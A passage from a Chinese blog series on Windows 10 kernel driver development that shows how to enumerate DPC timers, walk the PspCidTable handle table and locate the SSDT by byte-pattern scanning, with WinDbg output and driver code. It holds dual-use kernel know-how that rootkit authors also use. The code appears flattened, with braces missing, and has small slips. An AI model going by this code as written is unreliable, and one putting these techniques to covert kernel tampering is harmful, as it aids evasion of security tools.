nt!KeSetTimer: fffff803`0fc63a40 4883ec38 sub rsp,38h fffff803`0fc63a44 4c89442420 mov qword ptr [rsp+20h],r8 fffff803`0fc63a49 4533c9 xor r9d,r9d fffff803`0fc63a4c 4533c0 xor r8d,r8d fffff803`0fc63a4f e80c000000 call nt!KiSetTimerEx (fffff803`0fc63a60) fffff803`0fc63a54 4883c438 add rsp,38h fffff803`0fc63a58 c3 ret fffff803`0fc63a59 cc int 3 // fffff803`0fc63a4f e8 0c 00 00 00 call nt!KiSetTimerEx (fffff803`0fc63a60) if (*(PUCHAR)(ul_KeSetTimer + i) == 0xe8) b_e8 = TRUE; ul_e8Addr = ul_KeSetTimer + i; break; // 找到 call 则解析目的地址 0: kd> u nt!KiSetTimerEx l20 nt!KiSetTimerEx: fffff803`0fc63a60 48895c2408 mov qword ptr [rsp+8],rbx fffff803`0fc63a65 48896c2410 mov qword ptr [rsp+10h],rbp fffff803`0fc63a6a 4889742418 mov qword ptr [rsp+18h],rsi fffff803`0fc63a6f 57 push rdi fffff803`0fc63a70 4154 push r12 fffff803`0fc63a72 4155 push r13 fffff803`0fc63a74 4156 push r14 fffff803`0fc63a76 4157 push r15 fffff803`0fc63a78 4883ec50 sub rsp,50h fffff803`0fc63a7c 488b057d0c5100 mov rax,qword ptr [nt!KiWaitNever (fffff803`10174700)] fffff803`0fc63a83 488bf9 mov rdi,rcx ULONG64 ul_KiSetTimerEx = 0; if (b_e8 == TRUE) if (!MmIsAddressValid((PVOID64)ul_e8Addr)) return FALSE; INT ul_callCode = *(INT*)(ul_e8Addr + 1); ULONG64 ul_callAddr = ul_e8Addr + ul_callCode + 5; ul_KiSetTimerEx = ul_callAddr; // 没有 call 则直接在当前函数找 ul_KiSetTimerEx = ul_KeSetTimer; // 前 50 字节找 找 KiWaitNever 和 KiWaitAlways 0: kd> u nt!KiSetTimerEx l20 nt!KiSetTimerEx: fffff803`0fc63a60 48895c2408 mov qword ptr [rsp+8],rbx fffff803`0fc63a65 48896c2410 mov qword ptr [rsp+10h],rbp fffff803`0fc63a6a 4889742418 mov qword ptr [rsp+18h],rsi fffff803`0fc63a6f 57 push rdi fffff803`0fc63a70 4154 push r12 fffff803`0fc63a72 4155 push r13 fffff803`0fc63a74 4156 push r14 fffff803`0fc63a76 4157 push r15 fffff803`0fc63a78 4883ec50 sub rsp,50h fffff803`0fc63a7c 488b057d0c5100 mov rax,qword ptr [nt!KiWaitNever (fffff803`10174700)] fffff803`0fc63a83 488bf9 mov rdi,rcx fffff803`0fc63a86 488b35630e5100 mov rsi,qword ptr [nt!KiWaitAlways (fffff803`101748f0)] if (!MmIsAddressValid((PVOID64)ul_KiSetTimerEx)) return FALSE; ULONG64 ul_arr_ret[2]; // 存放 KiWaitNever 和 KiWaitAlways 的地址 INT i_sub = 0; // 对应 ul_arr_ret 的下标 for (INT i = 0; i < 50; i++) // // fffff803`0fc63a7c 488b057d0c5100 mov rax,qword ptr [nt!KiWaitNever (fffff803`10174700)] if (*(PUCHAR)(ul_KiSetTimerEx + i) == 0x48 && *(PUCHAR)(ul_KiSetTimerEx + i + 1) == 0x8b && *(PUCHAR)(ul_KiSetTimerEx + i + 6) == 0x00) ULONG64 ul_movCode = *(UINT32*)(ul_KiSetTimerEx + i + 3); ULONG64 ul_movAddr = ul_KiSetTimerEx + i + ul_movCode + 7; // 只拿符合条件的前两个值 if (i_sub < 2) ul_arr_ret[i_sub++] = ul_movAddr; *never = ul_arr_ret[0]; *always = ul_arr_ret[1]; return TRUE; BOOLEAN EnumDpc() DbgPrint("hello lyshark.com \n"); // 获取 CPU 核心数 INT i_cpuNum = KeNumberProcessors; DbgPrint("CPU核心数: %d \n", i_cpuNum); for (KAFFINITY i = 0; i < i_cpuNum; i++) // 线程绑定特定 CPU KeSetSystemAffinityThread(i + 1); // 获得 KPRCB 的地址 ULONG64 p_PRCB = (ULONG64)__readmsr(0xC0000101) + 0x20; if (!MmIsAddressValid((PVOID64)p_PRCB)) return FALSE; // 取消绑定 CPU KeRevertToUserAffinityThread(); // 计算 TimerTable 在 _KPRCB 结构中的偏移 PKTIMER_TABLE p_TimeTable = NULL; // Windows 10 得到_KPRCB + 0x3680 p_TimeTable = (PKTIMER_TABLE)(*(PULONG64)p_PRCB + 0x3680); // 遍历 TimerEntries[] 数组(大小 256) for (INT j = 0; j < 256; j++) // 获取 Entry 双向链表地址 if (!MmIsAddressValid((PVOID64)p_TimeTable)) continue; PLIST_ENTRY p_ListEntryHead = &(p_TimeTable->TimerEntries[j].Entry); // 遍历 Entry 双向链表 for (PLIST_ENTRY p_ListEntry = p_ListEntryHead->Flink; p_ListEntry != p_ListEntryHead; p_ListEntry = p_ListEntry->Flink) // 根据 Entry 取 _KTIMER 对象地址 if (!MmIsAddressValid((PVOID64)p_ListEntry)) continue; PKTIMER p_Timer = CONTAINING_RECORD(p_ListEntry, KTIMER, TimerListEntry); // 硬编码取 KiWaitNever 和 KiWaitAlways ULONG64 never = 0, always = 0; if (get_KiWait(&never, &always) == FALSE) return FALSE; // 获取解密前的 Dpc 对象 if (!MmIsAddressValid((PVOID64)p_Timer)) continue; ULONG64 ul_Dpc = (ULONG64)p_Timer->Dpc; INT i_Shift = (*((PULONG64)never) & 0xFF); // 解密 Dpc 对象 ul_Dpc ^= *((ULONG_PTR*)never); // 异或 ul_Dpc = _rotl64(ul_Dpc, i_Shift); // 循环左移 ul_Dpc ^= (ULONG_PTR)p_Timer; // 异或 ul_Dpc = _byteswap_uint64(ul_Dpc); // 颠倒顺序 ul_Dpc ^= *((ULONG_PTR*)always); // 异或 // 对象类型转换 PKDPC p_Dpc = (PKDPC)ul_Dpc; // 打印验证 if (!MmIsAddressValid((PVOID64)p_Dpc)) continue; DbgPrint("定时器对象:0x%p | 函数入口:0x%p | 触发周期: %d \n ", p_Timer, p_Dpc->DeferredRoutine, p_Timer->Period); return TRUE; // 对应 IRP_MJ_DEVICE_CONTROL NTSTATUS myIrpControl(IN PDEVICE_OBJECT pDevObj, IN PIRP pIRP) // 获取 IRP 对应的 I/O 堆栈指针 PIO_STACK_LOCATION stack = IoGetCurrentIrpStackLocation(pIRP); // 得到输入缓冲区大小 ULONG cbin = stack->Parameters.DeviceIoControl.InputBufferLength; // 得到输出缓冲区大小 ULONG cbout = stack->Parameters.DeviceIoControl.OutputBufferLength; // 得到 IOCTL 码 ULONG code = stack->Parameters.DeviceIoControl.IoControlCode; // 捕获 I/O 操作类型(MajorFunction) switch (code) case IRP_TEST: break; default: break; // 完成 IO 请求 IoCompleteRequest(pIRP, IO_NO_INCREMENT); return STATUS_SUCCESS; // 对应 IRP_MJ_CREATE 、 IRP_MJ_CLOSE NTSTATUS dpc_CAC(IN PDEVICE_OBJECT pDevObj, IN PIRP pIRP) // 将 IRP 返回给 I/O 管理器 IoCompleteRequest( pIRP, // IRP 指针 IO_NO_INCREMENT // 线程优先级,IO_NO_INCREMENT :不增加优先级 // 设置 I/O 请求状态 pIRP->IoStatus.Status = STATUS_SUCCESS; // 设置 I/O 请求传输的字节数 pIRP->IoStatus.Information = 0; return STATUS_SUCCESS; NTSTATUS CreateDevice(IN PDRIVER_OBJECT DriverObject) // 定义返回值 NTSTATUS status; // 初始化设备名 RtlInitUnicodeString(&name_device, L"\\Device\\LySharkDriver"); // 创建设备 status = IoCreateDevice( DriverObject, // 指向驱动对象的指针 0, // 设备扩展分配的字节数 &name_device, // 设备名 FILE_DEVICE_UNKNOWN, // 设备类型 0, // 驱动设备附加信息 TRUE, // 设备对象是否独占设备 &deviceObj // 设备对象指针 if (!NT_SUCCESS(status)) return status; // 初始化符号链接名 RtlInitUnicodeString(&name_symbol, L"\\??\\LySharkDriver"); // 创建符号链接 status = IoCreateSymbolicLink(&name_symbol, &name_device); if (!NT_SUCCESS(status)) return status; return STATUS_SUCCESS; NTSTATUS DriverUnload(IN PDRIVER_OBJECT DriverObject) // 定义返回值 NTSTATUS status; // 删除符号链接 status = IoDeleteSymbolicLink(&name_symbol); if (!NT_SUCCESS(status)) return status; // 删除设备 IoDeleteDevice(deviceObj); return STATUS_SUCCESS; NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath) // 定义返回值 NTSTATUS status; // 指定驱动卸载函数 DriverObject->DriverUnload = (PDRIVER_UNLOAD)DriverUnload; // 指定派遣函数 DriverObject->MajorFunction[IRP_MJ_CREATE] = dpc_CAC; DriverObject->MajorFunction[IRP_MJ_CLOSE] = dpc_CAC; DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = myIrpControl; // 创建设备 status = CreateDevice(DriverObject); if (!NT_SUCCESS(status)) return status; // 执行枚举 EnumDpc(); return STATUS_SUCCESS; }最终运行枚举程序,你将会看到系统中所有的定时器,与ARK工具对比是一致的。参考文献https://www.cnblogs.com/kuangke/p/9397511.html

驱动开发:内核枚举PspCidTable句柄表

在上一篇文章《驱动开发:内核枚举DpcTimer定时器》中我们通过枚举特征码的方式找到了DPC定时器基址并输出了内核中存在的定时器列表,本章将学习如何通过特征码定位的方式寻找Windows 10系统下面的PspCidTable内核句柄表地址。首先引入一段基础概念;1.在windows下所有的资源都是用对象的方式进行管理的(文件、进程、设备等都是对象),当要访问一个对象时,如打开一个文件,系统就会创建一个对象句柄,通过这个句柄可以对这个文件进行各种操作。2.句柄和对象的联系是通过句柄表来进行的,准确来说一个句柄就是它所对应的对象在句柄表中的索引。3.通过句柄可以在句柄表中找到对象的指针,通过指针就可以对,对象进行操作。PspCidTable 就是这样的一种表(内核句柄表),表的内部存放的是进程EPROCESS和线程ETHREAD的内核对象,并通过进程PID和线程TID进行索引,ID号以4递增,内核句柄表不属于任何进程,也不连接在系统的句柄表上,通过它可以返回系统的任何对象。内核句柄表与普通句柄表完全一样,但它与每个进程私有的句柄表有以下不同;1.PspCidTable 中存放的对象是系统中所有的进程线程对象,其索引就是PID和TID。2.PspCidTable 中存放的直接是对象体EPROCESS和ETHREAD,而每个进程私有的句柄表则存放的是对象头OBJECT_HEADER。3.PspCidTable 是一个独立的句柄表,而每个进程私有的句柄表以一个双链连接起来。4.PspCidTable 访问对象时要掩掉低三位,每个进程私有的句柄表是双链连接起来的。那么在Windows10系统中该如何枚举句柄表;1.首先找到PsLookupProcessByProcessId函数地址,该函数是被导出的可以动态拿到。2.其次在PsLookupProcessByProcessId地址中搜索PspReferenceCidTableEntry函数。3.最后在PspReferenceCidTableEntry地址中找到PspCidTable函数。首先第一步先要得到PspCidTable函数内存地址,输入dp PspCidTable即可得到,如果在程序中则是调用MmGetSystemRoutineAddress取到。PspCidTable是一个HANDLE_TALBE结构,当新建一个进程时,对应的会在PspCidTable存在一个该进程和线程对应的HANDLE_TABLE_ENTRY项。在windows10中依然采用动态扩展的方法,当句柄数少的时候就采用下层表,多的时候才启用中层表或上层表。接着我们解析ffffdc88-79605dc0这个内存地址,执行dt _HANDLE_TABLE 0xffffdc8879605dc0得到规范化结构体。内核句柄表分为三层如下;下层表:是一个HANDLE_TABLE_ENTRY项的索引,整个表共有256个元素,每个元素是一个8个字节长的HANDLE_TABLE_ENTRY项及索引,HANDLE_TABLE_ENTRY项中保存着指向对象的指针,下层表可以看成是进程和线程的稠密索引。中层表:共有256个元素,每个元素是4个字节长的指向下层表的入口指针及索引,中层表可以看成是进程和线程的稀疏索引。上层表:共有256个元素,每个元素是4个字节长的指向中层表的入口指针及索引,上层表可以看成是中层表的稀疏索引。总结起来一个句柄表有一个上层表,一个上层表最多可以有256个中层表的入口指针,每个中层表最多可以有256个下层表的入口指针,每个下层表最多可以有256个进程和线程对象的指针。PspCidTable表可以看成是HANDLE_TBALE_ENTRY项的多级索引。如上图所示TableCode是指向句柄表的指针,低二位(二进制)记录句柄表的等级:0(00)表示一级表,1(01)表示二级表,2(10)表示三级表。这里的 0xffffdc88-7d09b001 就说名它是一个二级表。一级表里存放的就是进程和线程对象(加密过的,需要一些计算来解密),二级表里存放的是指向某个一级表的指针,同理三级表存放的是指向二级表的指针。x64 系统中,每张表的大小是 0x1000(4096),一级表中存放的是 _handle_table_entry 结构(大小 = 16),二级表和三级表存放的是指针(大小 = 8)。我们对 0xffffdc88-7d09b001 抹去低二位,输入dp 0xffffdc887d09b000 输出的结果就是一张二级表,里面存储的就是一级表指针。继续查看第一张一级表,输入dp 0xffffdc887962a000命令,我们知道一级句柄表是根据进程或线程ID来索引的,且以4累加,所以第一行对应id = 0,第二行对应id = 4。根据尝试,PID = 4的进程是System。所以此处的第二行0xb281de28-3300ffa7就是加密后的System进程的EPROCESS结构,对于Win10系统来说解密算法(value >> 0x10) & 0xfffffffffffffff0是这样的,我们通过代码计算出来。#include <Windows.h> #include <iostream> int _tmain(int argc, _TCHAR* argv[]) std::cout << "hello lyshark.com" << std::endl; ULONG64 ul_recode = 0xb281de283300ffa7; ULONG64 ul_decode = (LONG64)ul_recode >> 0x10; ul_decode &= 0xfffffffffffffff0; std::cout << "解密后地址: " << std::hex << ul_decode << std::endl; getchar(); return 0; }运行程序得到如下输出,即可知道System系统进程解密后的EPROCESS结构地址是0xffffb281de283300回到WinDBG调试器,输入命令dt _EPROCESS 0xffffb281de283300解析以下这个结构,输出结果是System进程。理论知识总结已经结束了,接下来就是如何实现枚举进程线程了,枚举流程如下:1.首先找到PspCidTable的地址。2.然后找到HANDLE_TBALE的地址。3.根据TableCode来判断层次结构。4.遍历层次结构来获取对象地址。5.判断对象类型是否为进程对象。6.判断进程是否有效。这里先来实现获取PspCidTable函数的动态地址,代码如下。// 署名 // PowerBy: LyShark // Email: me@lyshark.com #include <ntifs.h> #include <windef.h> // 获取 PspCidTable // By: LyShark.com BOOLEAN get_PspCidTable(ULONG64* tableAddr) // 获取 PsLookupProcessByProcessId 地址 UNICODE_STRING uc_funcName; RtlInitUnicodeString(&uc_funcName, L"PsLookupProcessByProcessId"); ULONG64 ul_funcAddr = MmGetSystemRoutineAddress(&uc_funcName); if (ul_funcAddr == NULL) return FALSE; DbgPrint("PsLookupProcessByProcessId addr = %p \n", ul_funcAddr); // 前 40 字节有 call(PspReferenceCidTableEntry) 0: kd> uf PsLookupProcessByProcessId nt!PsLookupProcessByProcessId: fffff802`0841cfe0 48895c2418 mov qword ptr [rsp+18h],rbx fffff802`0841cfe5 56 push rsi fffff802`0841cfe6 4883ec20 sub rsp,20h fffff802`0841cfea 48897c2438 mov qword ptr [rsp+38h],rdi fffff802`0841cfef 488bf2 mov rsi,rdx fffff802`0841cff2 65488b3c2588010000 mov rdi,qword ptr gs:[188h] fffff802`0841cffb 66ff8fe6010000 dec word ptr [rdi+1E6h] fffff802`0841d002 b203 mov dl,3 fffff802`0841d004 e887000000 call nt!PspReferenceCidTableEntry (fffff802`0841d090) fffff802`0841d009 488bd8 mov rbx,rax fffff802`0841d00c 4885c0 test rax,rax fffff802`0841d00f 7435 je nt!PsLookupProcessByProcessId+0x66 (fffff802`0841d046) Branch ULONG64 ul_entry = 0; for (INT i = 0; i < 100; i++) // fffff802`0841d004 e8 87 00 00 00 call nt!PspReferenceCidTableEntry (fffff802`0841d090) if (*(PUCHAR)(ul_funcAddr + i) == 0xe8) ul_entry = ul_funcAddr + i; break; if (ul_entry != 0) // 解析 call 地址 INT i_callCode = *(INT*)(ul_entry + 1); DbgPrint("i_callCode = %p \n", i_callCode); ULONG64 ul_callJmp = ul_entry + i_callCode + 5; DbgPrint("ul_callJmp = %p \n", ul_callJmp); // 来到 call(PspReferenceCidTableEntry) 内找 PspCidTable 0: kd> uf PspReferenceCidTableEntry nt!PspReferenceCidTableEntry+0x115: fffff802`0841d1a5 488b0d8473f5ff mov rcx,qword ptr [nt!PspCidTable (fffff802`08374530)] fffff802`0841d1ac b801000000 mov eax,1 fffff802`0841d1b1 f0480fc107 lock xadd qword ptr [rdi],rax fffff802`0841d1b6 4883c130 add rcx,30h fffff802`0841d1ba f0830c2400 lock or dword ptr [rsp],0 fffff802`0841d1bf 48833900 cmp qword ptr [rcx],0 fffff802`0841d1c3 0f843fffffff je nt!PspReferenceCidTableEntry+0x78 (fffff802`0841d108) Branch for (INT i = 0; i < 0x120; i++) // fffff802`0841d1a5 48 8b 0d 84 73 f5 ff mov rcx,qword ptr [nt!PspCidTable (fffff802`08374530)] if (*(PUCHAR)(ul_callJmp + i) == 0x48 && *(PUCHAR)(ul_callJmp + i + 1) == 0x8b && *(PUCHAR)(ul_callJmp + i + 2) == 0x0d) // 解析 mov 地址 INT i_movCode = *(INT*)(ul_callJmp + i + 3); DbgPrint("i_movCode = %p \n", i_movCode); ULONG64 ul_movJmp = ul_callJmp + i + i_movCode + 7; DbgPrint("ul_movJmp = %p \n", ul_movJmp); // 得到 PspCidTable *tableAddr = ul_movJmp; return TRUE; return FALSE; VOID UnDriver(PDRIVER_OBJECT driver) DbgPrint(("Uninstall Driver Is OK \n")); NTSTATUS DriverEntry(IN PDRIVER_OBJECT Driver, PUNICODE_STRING RegistryPath) DbgPrint(("hello lyshark \n")); ULONG64 tableAddr = 0; get_PspCidTable(&tableAddr); DbgPrint("PspCidTable Address = %p \n", tableAddr); Driver->DriverUnload = UnDriver; return STATUS_SUCCESS; }运行后即可得到动态地址,我们可以验证一下是否一致:继续增加对与三级表的动态解析代码,最终代码如下所示:// 署名 // PowerBy: LyShark // Email: me@lyshark.com #include <ntifs.h> #include <windef.h> // 获取 PspCidTable // By: LyShark.com BOOLEAN get_PspCidTable(ULONG64* tableAddr) // 获取 PsLookupProcessByProcessId 地址 UNICODE_STRING uc_funcName; RtlInitUnicodeString(&uc_funcName, L"PsLookupProcessByProcessId"); ULONG64 ul_funcAddr = MmGetSystemRoutineAddress(&uc_funcName); if (ul_funcAddr == NULL) return FALSE; DbgPrint("PsLookupProcessByProcessId addr = %p \n", ul_funcAddr); // 前 40 字节有 call(PspReferenceCidTableEntry) 0: kd> uf PsLookupProcessByProcessId nt!PsLookupProcessByProcessId: fffff802`0841cfe0 48895c2418 mov qword ptr [rsp+18h],rbx fffff802`0841cfe5 56 push rsi fffff802`0841cfe6 4883ec20 sub rsp,20h fffff802`0841cfea 48897c2438 mov qword ptr [rsp+38h],rdi fffff802`0841cfef 488bf2 mov rsi,rdx fffff802`0841cff2 65488b3c2588010000 mov rdi,qword ptr gs:[188h] fffff802`0841cffb 66ff8fe6010000 dec word ptr [rdi+1E6h] fffff802`0841d002 b203 mov dl,3 fffff802`0841d004 e887000000 call nt!PspReferenceCidTableEntry (fffff802`0841d090) fffff802`0841d009 488bd8 mov rbx,rax fffff802`0841d00c 4885c0 test rax,rax fffff802`0841d00f 7435 je nt!PsLookupProcessByProcessId+0x66 (fffff802`0841d046) Branch ULONG64 ul_entry = 0; for (INT i = 0; i < 100; i++) // fffff802`0841d004 e8 87 00 00 00 call nt!PspReferenceCidTableEntry (fffff802`0841d090) if (*(PUCHAR)(ul_funcAddr + i) == 0xe8) ul_entry = ul_funcAddr + i; break; if (ul_entry != 0) // 解析 call 地址 INT i_callCode = *(INT*)(ul_entry + 1); DbgPrint("i_callCode = %p \n", i_callCode); ULONG64 ul_callJmp = ul_entry + i_callCode + 5; DbgPrint("ul_callJmp = %p \n", ul_callJmp); // 来到 call(PspReferenceCidTableEntry) 内找 PspCidTable 0: kd> uf PspReferenceCidTableEntry nt!PspReferenceCidTableEntry+0x115: fffff802`0841d1a5 488b0d8473f5ff mov rcx,qword ptr [nt!PspCidTable (fffff802`08374530)] fffff802`0841d1ac b801000000 mov eax,1 fffff802`0841d1b1 f0480fc107 lock xadd qword ptr [rdi],rax fffff802`0841d1b6 4883c130 add rcx,30h fffff802`0841d1ba f0830c2400 lock or dword ptr [rsp],0 fffff802`0841d1bf 48833900 cmp qword ptr [rcx],0 fffff802`0841d1c3 0f843fffffff je nt!PspReferenceCidTableEntry+0x78 (fffff802`0841d108) Branch for (INT i = 0; i < 0x120; i++) // fffff802`0841d1a5 48 8b 0d 84 73 f5 ff mov rcx,qword ptr [nt!PspCidTable (fffff802`08374530)] if (*(PUCHAR)(ul_callJmp + i) == 0x48 && *(PUCHAR)(ul_callJmp + i + 1) == 0x8b && *(PUCHAR)(ul_callJmp + i + 2) == 0x0d) // 解析 mov 地址 INT i_movCode = *(INT*)(ul_callJmp + i + 3); DbgPrint("i_movCode = %p \n", i_movCode); ULONG64 ul_movJmp = ul_callJmp + i + i_movCode + 7; DbgPrint("ul_movJmp = %p \n", ul_movJmp); // 得到 PspCidTable *tableAddr = ul_movJmp; return TRUE; return FALSE; /* 解析一级表 // By: LyShark.com BaseAddr:一级表的基地址 index1:第几个一级表 index2:第几个二级表 VOID parse_table_1(ULONG64 BaseAddr, INT index1, INT index2) // 遍历一级表(每个表项大小 16 ),表大小 4k,所以遍历 4096/16 = 526 次 PEPROCESS p_eprocess = NULL; PETHREAD p_ethread = NULL; INT i_id = 0; for (INT i = 0; i < 256; i++) if (!MmIsAddressValid((PVOID64)(BaseAddr + i * 16))) DbgPrint("非法地址= %p \n", BaseAddr + i * 16); continue; ULONG64 ul_recode = *(PULONG64)(BaseAddr + i * 16); // 解密 ULONG64 ul_decode = (LONG64)ul_recode >> 0x10; ul_decode &= 0xfffffffffffffff0; // 判断是进程还是线程 i_id = i * 4 + 1024 * index1 + 512 * index2 * 1024; if (PsLookupProcessByProcessId(i_id, &p_eprocess) == STATUS_SUCCESS) DbgPrint("进程PID: %d | ID: %d | 内存地址: %p | 对象: %p \n", i_id, i, BaseAddr + i * 0x10, ul_decode); else if (PsLookupThreadByThreadId(i_id, &p_ethread) == STATUS_SUCCESS) DbgPrint("线程TID: %d | ID: %d | 内存地址: %p | 对象: %p \n", i_id, i, BaseAddr + i * 0x10, ul_decode); /* 解析二级表 // By: LyShark.com BaseAddr:二级表基地址 index2:第几个二级表 VOID parse_table_2(ULONG64 BaseAddr, INT index2) // 遍历二级表(每个表项大小 8),表大小 4k,所以遍历 4096/8 = 512 次 ULONG64 ul_baseAddr_1 = 0; for (INT i = 0; i < 512; i++) if (!MmIsAddressValid((PVOID64)(BaseAddr + i * 8))) DbgPrint("非法二级表指针(1):%p \n", BaseAddr + i * 8); continue; if (!MmIsAddressValid((PVOID64)*(PULONG64)(BaseAddr + i * 8))) DbgPrint("非法二级表指针(2):%p \n", BaseAddr + i * 8); continue; ul_baseAddr_1 = *(PULONG64)(BaseAddr + i * 8); parse_table_1(ul_baseAddr_1, i, index2); /* 解析三级表 // By: LyShark.com BaseAddr:三级表基地址 VOID parse_table_3(ULONG64 BaseAddr) // 遍历三级表(每个表项大小 8),表大小 4k,所以遍历 4096/8 = 512 次 ULONG64 ul_baseAddr_2 = 0; for (INT i = 0; i < 512; i++) if (!MmIsAddressValid((PVOID64)(BaseAddr + i * 8))) continue; if (!MmIsAddressValid((PVOID64)* (PULONG64)(BaseAddr + i * 8))) continue; ul_baseAddr_2 = *(PULONG64)(BaseAddr + i * 8); parse_table_2(ul_baseAddr_2, i); VOID UnDriver(PDRIVER_OBJECT driver) DbgPrint(("Uninstall Driver Is OK \n")); NTSTATUS DriverEntry(IN PDRIVER_OBJECT Driver, PUNICODE_STRING RegistryPath) DbgPrint(("hello lyshark.com \n")); ULONG64 tableAddr = 0; get_PspCidTable(&tableAddr); DbgPrint("PspCidTable Address = %p \n", tableAddr); // 获取 _HANDLE_TABLE 的 TableCode ULONG64 ul_tableCode = *(PULONG64)(((ULONG64)*(PULONG64)tableAddr) + 8); DbgPrint("ul_tableCode = %p \n", ul_tableCode); // 取低 2位(二级制11 = 3) INT i_low2 = ul_tableCode & 3; DbgPrint("i_low2 = %X \n", i_low2); // 一级表 if (i_low2 == 0) // TableCode 低 2位抹零(二级制11 = 3) parse_table_1(ul_tableCode & (~3), 0, 0); // 二级表 else if (i_low2 == 1) // TableCode 低 2位抹零(二级制11 = 3) parse_table_2(ul_tableCode & (~3), 0); // 三级表 else if (i_low2 == 2) // TableCode 低 2位抹零(二级制11 = 3) parse_table_3(ul_tableCode & (~3)); DbgPrint("LyShark提示: 错误,非法! "); return FALSE; Driver->DriverUnload = UnDriver; return STATUS_SUCCESS; }运行如上完整代码,我们可以在WinDBG中捕捉到枚举到的进程信息:线程信息在进程信息的下面,枚举效果如下:至此文章就结束了,这里多说一句,实际上ZwQuerySystemInformation枚举系统句柄时就是走的这条双链,枚举系统进程如果使用的是这个API函数,那么不出意外它也是在这些内核表中做的解析。参考文献http://www.blogfshare.com/details-in-pspcidtbale.htmlhttps://blog.csdn.net/whatday/article/details/17189093https://www.cnblogs.com/kuangke/p/5761615.html

驱动开发:Win10内核枚举SSDT表基址

三年前面朝黄土背朝天的我,写了一篇如何在Windows 7系统下枚举内核SSDT表的文章《驱动开发:内核读取SSDT表基址》三年过去了我还是个单身狗,开个玩笑,微软的Windows 10系统已经覆盖了大多数个人PC终端,以前的方法也该进行迭代更新了,或许在网上你能够找到类似的文章,但我可以百分百肯定都不能用,今天LyShark将带大家一起分析Win10 x64最新系统SSDT表的枚举实现。看一款闭源ARK工具的枚举效果:直接步入正题,首先SSDT表中文为系统服务描述符表,SSDT表的作用是把应用层与内核层联系起来起到桥梁的作用,枚举SSDT表也是反内核工具最基本的功能,通常在64位系统中要想找到SSDT表,需要先找到KeServiceDescriptorTable这个函数,由于该函数没有被导出,所以只能动态的查找它的地址,庆幸的是我们可以通过查找msr(c0000082)这个特殊的寄存器来替代查找KeServiceDescriptorTable这一步,在新版系统中查找SSDT可以归纳为如下这几个步骤。rdmsr c0000082 -> KiSystemCall64Shadow -> KiSystemServiceUser -> SSDT首先第一步通过rdmsr C0000082 MSR寄存器得到KiSystemCall64Shadow的函数地址,计算KiSystemCall64Shadow与KiSystemServiceUser偏移量,如下图所示。得到相对偏移6ed53180(KiSystemCall64Shadow) - 6ebd2a82(KiSystemServiceUser) = 1806FE也就是说 6ed53180(rdmsr) - 1806FE = KiSystemServiceUser如上当我们找到了KiSystemServiceUser的地址以后,在KiSystemServiceUser向下搜索可找到KiSystemServiceRepeat里面就是我们要找的SSDT表基址。其中fffff8036ef8c880则是SSDT表的基地址,紧随其后的fffff8036ef74a80则是SSSDT表的基地址。那么如果将这个过程通过代码的方式来实现,我们还需要使用《驱动开发:内核枚举IoTimer定时器》中所使用的特征码定位技术,如下我们查找这段特征。// 署名权 // right to sign one's name on a piece of work // PowerBy: LyShark // Email: me@lyshark.com #include <ntifs.h> #pragma intrinsic(__readmsr) ULONGLONG ssdt_address = 0; // 获取 KeServiceDescriptorTable 首地址 ULONGLONG GetLySharkCOMKeServiceDescriptorTable() // 设置起始位置 PUCHAR StartSearchAddress = (PUCHAR)__readmsr(0xC0000082) - 0x1806FE; // 设置结束位置 PUCHAR EndSearchAddress = StartSearchAddress + 0x100000; DbgPrint("[LyShark Search] 扫描起始地址: %p --> 扫描结束地址: %p \n", StartSearchAddress, EndSearchAddress); PUCHAR ByteCode = NULL; UCHAR OpCodeA = 0, OpCodeB = 0, OpCodeC = 0; ULONGLONG addr = 0; ULONG templong = 0; for (ByteCode = StartSearchAddress; ByteCode < EndSearchAddress; ByteCode++) // 使用MmIsAddressValid()函数检查地址是否有页面错误 if (MmIsAddressValid(ByteCode) && MmIsAddressValid(ByteCode + 1) && MmIsAddressValid(ByteCode + 2)) OpCodeA = *ByteCode; OpCodeB = *(ByteCode + 1); OpCodeC = *(ByteCode + 2); // 对比特征值 寻找 nt!KeServiceDescriptorTable 函数地址 nt!KiSystemServiceRepeat: fffff803`6ebd2b94 4c8d15e59c3b00 lea r10,[nt!KeServiceDescriptorTable (fffff803`6ef8c880)] fffff803`6ebd2b9b 4c8d1dde1e3a00 lea r11,[nt!KeServiceDescriptorTableShadow (fffff803`6ef74a80)] fffff803`6ebd2ba2 f7437880000000 test dword ptr [rbx+78h],80h fffff803`6ebd2ba9 7413 je nt!KiSystemServiceRepeat+0x2a (fffff803`6ebd2bbe) Branch if (OpCodeA == 0x4c && OpCodeB == 0x8d && OpCodeC == 0x15) // 获取高位地址fffff802 memcpy(&templong, ByteCode + 3, 4); // 与低位64da4880地址相加得到完整地址 addr = (ULONGLONG)templong + (ULONGLONG)ByteCode + 7; return addr; return 0; VOID UnDriver(PDRIVER_OBJECT driver) DbgPrint(("驱动程序卸载成功! \n")); NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) DbgPrint("hello lyshark.com"); ssdt_address = GetLySharkCOMKeServiceDescriptorTable(); DbgPrint("[LyShark] SSDT = %p \n", ssdt_address); DriverObject->DriverUnload = UnDriver; return STATUS_SUCCESS; }如上代码中所提及的步骤我想不需要再做解释了,这段代码运行后即可输出SSDT表的基址。如上通过调用GetLySharkCOMKeServiceDescriptorTable()得到SSDT地址以后我们就需要对该地址进行解密操作。得到ServiceTableBase的地址后,就能得到每个服务函数的地址。但这个表存放的并不是SSDT函数的完整地址,而是其相对于ServiceTableBase[Index]>>4的数据,每个数据占四个字节,所以计算指定Index函数完整地址的公式是;在x86平台上: FuncAddress = KeServiceDescriptorTable + 4 * Index在x64平台上:FuncAddress = [KeServiceDescriptorTable+4*Index]>>4 + KeServiceDescriptorTable如下汇编代码就是一段解密代码,代码中rcx寄存器传入SSDT的下标,而rdx寄存器则是传入SSDT表基址。 48:8BC1 | mov rax,rcx | rcx=index 4C:8D12 | lea r10,qword ptr ds:[rdx] | rdx=ssdt 8BF8 | mov edi,eax | C1EF 07 | shr edi,7 | 83E7 20 | and edi,20 | 4E:8B1417 | mov r10,qword ptr ds:[rdi+r10] | 4D:631C82 | movsxd r11,dword ptr ds:[r10+rax*4] | 49:8BC3 | mov rax,r11 | 49:C1FB 04 | sar r11,4 | 4D:03D3 | add r10,r11 | 49:8BC2 | mov rax,r10 | C3 | ret |有了解密公式以后代码的编写就变得很容易,如下是读取SSDT的完整代码。// 署名权 // right to sign one's name on a piece of 